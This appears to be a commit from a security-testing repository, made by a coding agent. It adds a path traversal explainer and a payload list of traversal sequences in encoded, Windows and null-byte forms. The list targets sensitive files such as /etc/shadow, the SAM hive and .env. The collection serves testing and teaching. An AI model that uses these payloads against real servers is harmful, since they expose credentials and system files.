Restructure repository: Remove OWASP categorization, organize by vulnerability type

Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>
This commit is contained in:
copilot-swe-agent[bot]
2026-01-04 19:01:04 +00:00
parent 274734e91a
commit ba72efbc5e
46 changed files with 341 additions and 323 deletions
+17
View File
@@ -0,0 +1,17 @@
# Path Traversal
## Description
Path traversal (also known as directory traversal) is a web security vulnerability that allows an attacker to read arbitrary files on the server that is running an application. This might include application code and data, credentials for back-end systems, and sensitive operating system files.
## Common Attack Vectors
- File download functionality
- File upload functionality
- Template inclusion
- Image/document display features
- Static resource serving
## Testing Approach
Submit path traversal sequences (../, ..\.., etc.) in file parameters to attempt to access files outside the intended directory.
## Payloads
See `path-traversal-payloads.txt` for a comprehensive list of path traversal payloads.
@@ -0,0 +1,57 @@
# Path Traversal Payloads
# Basic traversal
../
../../
../../../
../../../../
../../../../../
../../../../../../
../../../../../../../
# URL encoded
..%2F
..%2F..%2F
..%2F..%2F..%2F
..%252f
..%252f..%252f
# Double URL encoded
..%252F
..%252F..%252F
..%c0%af
..%c1%9c
# Windows paths
..\
..\..\
..\..\..\
..%5C
..%5C..%5C
..%255C
# Null byte injection
../../../etc/passwd%00
../../../etc/passwd%00.jpg
..%2F..%2F..%2Fetc%2Fpasswd%00
# Common target files
../../../etc/passwd
../../../etc/shadow
../../../etc/hosts
../../../windows/system32/config/sam
../../../windows/win.ini
../../../boot.ini
..\..\..\..\windows\system.ini
# Web server files
../../../var/www/html/index.php
../../../usr/local/apache/conf/httpd.conf
../../../etc/httpd/conf/httpd.conf
../../../etc/nginx/nginx.conf
# Application files
../../../config/database.yml
../../../.env
../../../web.config
../../../application.properties